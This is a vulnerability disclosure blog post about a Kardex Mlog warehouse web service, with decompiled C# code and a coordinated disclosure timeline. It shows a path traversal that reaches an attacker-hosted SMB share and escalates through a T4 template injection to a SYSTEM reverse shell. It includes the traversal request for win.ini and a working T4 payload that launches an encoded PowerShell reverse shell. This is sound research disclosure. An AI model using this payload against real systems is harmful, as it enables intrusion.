Kardex MLOG

The manufacturer describes the product as follows (rough translation from vendor product page)

“With over 50 years of experience in planning, implementation and maintenance, Kardex Mlog is one of the leading providers of integrated material flow systems and high-bay warehouses.”

So basically the vulnerable product is an industry standard warehouse unit handling products in storage areas.

The Discovery

How can someone discover such a vulnerability, as the product is quite unique and nothing you can get a hold of easily. In fact I discovered this vulnerability during a security assessment at a customers head quarter.

Also I did not discover it myself. It was the automated Nessus scan telling me that the web service on the specific IP is vulnerable to an “arbitrary Path Traversal”, which turned out to be wrong or at least not 100% correct.

I have to tell you that at first I did not want to look into the vulnerability, because in the context of a security assessment this type of vulnerability was not the one I was after. But I thought to myself, maybe when I have some time left at the end of the assessment I might consider looking into it.

After quickly looking into the server and which architecture is used for this product I discovered another hurdle I would need to overcome. Looking at the applications directory I quickly could identify that the running application was written in C# using the .NET framework. So I would have to decompile the code first to be able to read it.

But after the main part of the assessment was done and successful I still had some time left. I then decided to take a look into the application and see if I can figure out what was wrong with it.

The Vulnerability

I have to say that decompiling C# .NET applications at least is easy and yields good results using dnSpy. So this is what I did. I zipped the applications folder, transfered it to my Windows virtual machine and decompiled the code. Then I started the hunt for the specific code path I was looking for.

The original Nessus finding was telling me that you can retrieve the win.ini file by making a request to http://ip:port/\..\..\..\..\..\Windows\win.ini. And checking this result using curl I was able to reproduce the vulnerability.

To me it was clear that the vulnerability had to be in the function handling the requests to the webservers listener. So I started tracking it down, which turned out to be very time consuming. Besides the web service there was also a websocket service, as well as a dedicated web api and other web related stuff. Everything was split to about 20 .dll library files. So finding the correct function was not that easy. Eventually I discovered the function and was presented with this code (shortened to relevant parts for readability):

private void _httpServer_OnGet(object sender, HttpRequestEventArgs e)
{
  try
  {
    bool flag = e.Request.Url.AbsolutePath.StartsWith("/api/");
    MccHttpServerResult result;
    if (flag)
    {
      result = this._mccApiServer.GetApi(e.Request.Url.AbsolutePath, e.Request.Headers.Get("Accept-Encoding"), e.Request.Url.Query);
    }
    else
    {
      string path = Uri.UnescapeDataString(e.Request.Url.AbsolutePath);
      result = this._mccHttpServer.GetFile(path, e.Request.Headers.Get("Accept-Encoding"), e.Request.Url.Query);
    }
[...snip...]
}

As you can see in the code listing you can take two general routes here. If the path starts with /api/ the call will be dispatched to a function called GetApi, which I was not very much interested in.

The else statement was the route I was after. That would lead into a function called getFile. Apparently this was my next hop to the actual vulnerability. So I went down this path to find the following code (again shortened to relevant parts):

public MccHttpServerResult GetFile(string path, string acceptEncoding, string queryString = null)
{
  MccHttpServerResult result4;
  try
  {
    Dictionary<string, string> responseHeaders = new Dictionary<string, string>();
    bool flag = path == "/image";
    if (flag)
    {
      NameValueCollection query = HttpUtility.ParseQueryString(queryString);
      using (BLToolKitSessionWrapper<CommonDL> s = DLBaseBLToolkit<CommonDL>.CreateSession("MLog_MCC_Connection", null, false, null, null))
      {
        MccImageType imageType = (MccImageType)Enum.Parse(typeof(MccImageType), query.Get("imagetype"), true);
        string name = query.Get("name");
        ImageDTO img = null;
        bool flag2 = name != "null" && name != "undefined";
        if (flag2)
        {
[...snip...]
}
  bool flag9 = this.DisableFileHosting();
  if (flag9)
  {
    result4 = new MccHttpServerResult(HttpStatusCode.NotFound, null, null, null);
  }
  else
  {
    string getfileName = (path == "/") ? "index.html" : path.Substring(1).Replace("/", Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture));
    string fileName = Path.Combine(this.RootDirectory(), getfileName);
    string originalFileName = fileName;
    bool acceptBrotli = false;
    bool flag10 = acceptEncoding != null && acceptEncoding.Contains("br");
    if (flag10)
    {
      responseHeaders.Add("Content-Encoding", "br");
      acceptBrotli = true;
    }
    responseHeaders.Add("Access-Control-Allow-Origin", "*");
    bool flag11 = this.DisableBrowserCache();
    if (flag11)
    {
      responseHeaders.Add("CacheControl", "no-cache, no-store, must-revalidate");
      responseHeaders.Add("Pragma", "no-cache");
      responseHeaders.Add("Expires", "0");
    }
    string mime2 = MccHttpServer.GetMimeType(originalFileName);
[...snip..]
}

When hitting this function there will be first a check in place to evaluate if the path equals /image. If so an image will be served by the service. Also it will be checked if file serving is deactivated globally via the configuration of the application. If so the client will get an http error 404 as response. But if none of the two conditions are met the next code part is interesting to us.

Let me grab the two main lines we are interested in:

string getfileName = (path == "/") ? "index.html" : path.Substring(1).Replace("/", Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture));
string fileName = Path.Combine(this.RootDirectory(), getfileName);

The first of those two lines will serve you the page index.html if no further path is given. Otherwise it will replace forward slashes with a seperator character for the whole path. And next up in line 2 it will join the root directory to the processed path using the function Path.Combine. And all of this happens without further sanitization.

So let this sink in for a minute. The root directory will be the webservice program folder, where it does provide the web server files (like for example index.html) and then it just concatenates whatever the attacker provides. Sure it does replace forward slashes. But as the host was a windows machine I do not really care about those, as windows uses backslashes as a path seperator.

So now I was able to understand the vulnerability and knew why it existed. I was able to include local files. Immediately I thought of my finding CVE-2020-15492 and was trying to find a way to poison a log and use this to incorporate a web shell. But this was a dead end for obvious reasons.

But finally it clicked. If I can include local files using a path like \something\something_else\some_file, I should be able to include remote targets using \\ipaddress\share\file, right? Right? — Right!

I quickly spun up a smb server using impackets smbserver.py and tried connecting to it. And would you look at that 😄, I got a connection.

Making a Remote Code Execution out of this

So now at least I was able to also include remote files. Immediately I continued my journey trying to include a web shell to be able to execute commands on the host system. As this was a .NET application I tried all sorts of .asp and .aspx shells, as well as other formats. But this was also a dead end. No matter what format I included it always got rendered as Content-Type text/plain. I was soon to find out why.

Looking further into the code - especially in the getFile function shown above - this line caught my eye:

string mime2 = MccHttpServer.GetMimeType(originalFileName);

So there was actually a function which does decide whats the Content-Type of the file that was included. Interesting. Further down the function I found this code path:

bool flag14 = MccHttpServer._fileCache.TryGetValue(new ValueTuple<string, bool>(fileName, acceptBrotli), out cachedFile);
if (flag14)
{
  result4 = new MccHttpServerResult(HttpStatusCode.OK, mime2, cachedFile, responseHeaders);
}
else
{
  bool flag15 = File.Exists(fileName);
  if (flag15)
  {
    using (FileStream f = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
    {
      byte[] bytes = new byte[f.Length];
      f.Read(bytes, 0, bytes.Length);
      bool flag16 = mime2 == "t4";
      if (flag16)
      {
        return this.runTemplatingEngine(bytes, responseHeaders, queryString);
      }
      bool flag17 = mime2.StartsWith("text", StringComparison.OrdinalIgnoreCase);
      if (flag17)
      {
        string result2 = Encoding.UTF8.GetString(bytes);
        string old = result2;
[...snip...]

What looks complex at first is not that complicated at all. Basically if the GetMimeType function returns any mime-type starting with text the content of the included file will be parsed and then returned with a Content-Type of text/plain to the client. But first the if-else-clause will check if the function returned the mime-type t4. And if this is the case the content of the file will be sent to a function called runTemplateEngine.

After I had discovered this, it was immediately clear to me that I am looking at a potential SSTI vulnerability. I just had to find out how I can make the function return t4 as a mime-type.

And this turned out to be quite easy. After scrolling through a function of 555 lines of code (with an endless if-elseif-else loop) almost at the end I was able to find this:

else
{
  if (!(text2 == ".t4"))
  {
    goto IL_919;
  }
  return "t4";
}

Well, who would have guessed? Duh, sure. You just need to give the file the extension .t4 🐘 💨.

Proof of Concept Exploit

Well now I had all the pieces to successfully pull that stunt. And this is exactly what I did. But first I would have to find out how one could run system command using the so called mono/t4templating language. It turned out the render engine will be able to just run C# code. The documentation of mono/t4 was really straight forward and helpful at this point. So I hosted the following exploit at my smb server share:

<#@ template language="C#" #>
<#@ Import Namespace="System" #>
<#@ Import Namespace="System.Diagnostics" #>

Proof of Concept - SSTI to RCE
RCE running ...

<#
var proc1 = new ProcessStartInfo();
string anyCommand;
anyCommand = "powershell -e [... snip base64 rev shell for readability ...]";

proc1.UseShellExecute = true;
proc1.WorkingDirectory = @"C:\Windows\System32";
proc1.FileName = @"C:\Windows\System32\cmd.exe";
proc1.Verb = "runas";
proc1.Arguments = "/c "+anyCommand;
Process.Start(proc1);
#>

Enjoy your shell, good sir :D

In the following screenshot you can see my request through burp:

burp request
The request to trigger the reverse shell

And then finally my netcat listener popped a shell:

rev shell popps
The netcat listener got a connection from the server

And as you can see from the screenshot above I also got the shell as SYSTEM, because the service was running with elevated privileges (which is the default configuration). Nice.

After that I wrote a complete python script which will also host the smb server for you. You basically just have to give it the target and your listening details and then start it. You will find a link to it in the references down below.

Disclosure Timeline

  • 2022-12-13: Vulnerability discovered
  • 2022-12-13: Vulnerability reported to manufacturer
  • 2023-01-24: Patch released by manufacturer
  • 2023-02-07: Public disclosure of vulnerability

References and Links